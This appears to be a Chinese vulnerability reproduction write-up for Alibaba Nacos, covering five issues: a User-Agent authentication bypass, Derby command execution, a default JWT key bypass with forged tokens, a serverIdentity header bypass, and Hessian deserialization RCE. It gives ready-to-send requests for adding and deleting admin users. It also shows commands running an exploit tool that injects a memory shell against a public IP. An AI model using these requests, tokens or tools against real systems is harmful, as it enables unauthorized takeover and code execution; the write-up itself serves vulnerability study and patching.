背景

Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。

Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。

Nacos是阿里巴巴于2018年开源的项目,目前在Github中已获得 39.9k Star,由此可见其的使用广泛程度。

CVE-2021-29441(未授权访问)

漏洞简介

该漏洞发生在 nacos在进行认证授权操作时,会判断请求的 user-agent是否为 Nacos-Server,如果是的话则不进行任何认证。

漏洞报送原 ISSUE:https://github.com/alibaba/nacos/issues/4593

影响版本

  • nacos版本号 <= 2.0.0-ALPHA.1
  • nacos版本号 < 1.4.1

环境搭建

使用 docker 基于 vulhub 项目的 nacos 部分进行搭建。

1
docker-compose up -d

漏洞复现

默认情况下我们访问 http://localhost:8848/nacos/v1/auth/users?pageNo=1&pageSize=1,会返回 403 界

面。

但是当我们将 UA 修改为 Nacos-Server即可进行权限绕过。

如果这里使用 vulhub 搭建的复现环境没有看到用户信息,可以通过如下数据包创建一个用户名为 nacos,密码为nacos。

1
2
3
4
5
6
7
POST /nacos/v1/auth/users HTTP/1.1
Host: localhost:8848
Content-Type: application/x-www-form-urlencoded
User-Agent: Nacos-Server
Content-Length: 29

username=nacos&password=nacos

其他接口:

1
2
3
4
5
6
7
8
// 查看所有用户
/nacos/v1/auth/users?pageNo=1&pageSize=10

// 检索某个用户
/nacos/v1/auth/search?username=nacos

// 删除某个用户
curl -X DELETE "http:///nacos/v1/auth/users?username=test"

CVE-2021-29442(未授权接口命令执行漏洞)

漏洞简介

Nacos 1.4.1之前的版本中,一些 API端点(如 /nacos/v1/cs/ops/derby)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意 Derby SQL语句和 Java代码。

影响版本

Nacos < 1.4.1

环境搭建

用 docker 基于 vulhub 项目的 nacos 部分进行搭建。

1
docker-compose up -d

漏洞复现

这里使用的工具:https://github.com/h0ny/NacosExploit

使用蚁剑连接:

QVD-2023-6271(默认key导致权限绕过)

漏洞简介

Nacos 用户使用默认 JWT 密钥导致未授权访问漏洞.通过该漏洞,攻击者可以绕过用户名密码认证,直接登录 nacos 用户。

影响版本

0.1.0<= Nacos<= 2.1.0

环境搭建

源码下载地址:https://github.com/alibaba/nacos/releases/tag/2.2.0-BETA

推荐使用 JDK8 + Mysql 5.6 + 版本运行。

这里数据库默认使用的是 H2,无需安装任何数据库直接启动,也可以使用 Mysql 数据,这里使用 Mysql 进行演示。

修改 /nacos/conf/application.properties文件设置数据库连接信息(需取消注释):

接着来到 /nacos/bin/目录执行:

1
./startup.sh -m standalone # 使用单机模式启动

查看日志:

1
cat /opt/nacos/logs/start.out

访问:

漏洞复现

进入到 /nacos/confapplication.properties文件进行筛选。

得到的 KEY 如下:

1
SecretKey012345678901234567890123456789012345678901234567890123456789

利用如下网站构造 jwt:

构造如下:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTUxNjIzOTAyMn0.vT2EAK9EbhT_l43AmfUmVIdly8tkepP5NxeFe0740YY

先抓取登陆接口的数据包,在请求头添加字段:Authorization: Bearer (JWT)

即:

1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImlhdCI6MTUxNjIzOTAyMn0.vT2EAK9EbhT_l43AmfUmVIdly8tkepP5NxeFe0740YY

成功进入到后台。也可以使用如下验证POC进行验证(不同版本会有所不同):

1
/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9

1
/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9&search=accurate

Nacos 2.2.0 权限绕过

漏洞简介

在 Request Header 中添加:serverIdentity: security即可实现未授权访问。

影响版本

Nacos <= 2.2.0

环境搭建

源码下载地址:https://github.com/alibaba/nacos/releases/tag/2.2.0

推荐使用 JDK8 + Mysql 5.6 + 版本运行。

这里数据库默认使用的是 H2,无需安装任何数据库直接启动,也可以使用 Mysql 数据,这里使用 Mysql 进行演示。

修改 /nacos/conf/application.properties文件设置数据库连接信息(需取消注释):

接着来到 /nacos/bin/目录执行:

1
./startup.sh -m standalone # 使用单机模式启动

漏洞复现

1
2
3
4
5
6
7
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate HTTP/1.1
Host: 120.48.128.24:8848
Accept-Encoding: gzip, deflate, br
Connection: close
serverIdentity: security
Cache-Control: max-age=0

经过测试发现 2.2.0 版本不添加该字段也可以实现未授权访问。

Nacos Hessian 反序列化漏洞

漏洞简介

Nacos 默认的 7848 端口是用于 Nacos 集群间 Raft协议的通信,该端口的服务在处理部分 Jraft 请求时会使用 Hessian 进行反序列化。

Nacos 1.4.1+ 在单机模式下默认不开放 7848 端口,故该情况通常不受此漏洞影响。然而,1.4.0、2.x版本无论单机或集群模式均默认开放 7848 端口。

影响版本

  • 1.4.0 <= Nacos < 1.4.6
  • 2.0.0 <= Nacos < 2.2.3

环境搭建

参考 nacos 2.2.0 权限绕过环境搭建

漏洞复现

本漏洞主要是针对 7848 端口,一般公网上的 nacos 服务只开放 8848 端口,7748 端口一般在内网中被大量使用。

工具下载链接:https://github.com/c0olw/NacosRce

注入内存马并执行命令:

1
java -jar NacosRce.jar http://120.48.128.24:8848/nacos/ 7848 "whoami"

只注入内存马:

1
java -jar NacosRce.jar http://120.48.128.24:8848/nacos/ 7848 memshell

其他漏洞

接口未授权

某些版本下该接口可能存在未授权漏洞,示例版本:2.2.0-BETA

查看列出前10页的用户:

1
curl -X GET "http://120.48.128.24:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=10"

添加用户:

1
curl -X POST "http://120.48.128.24:8848/nacos/v1/auth/users" -d "username=x1ong&password=x1ong"

删除用户:

1
curl -X DELETE "http://120.48.128.24:8848/nacos/v1/auth/users?username=x1ong"

小 trick

获取版本信息

1
/nacos/v1/console/server/state

参考文章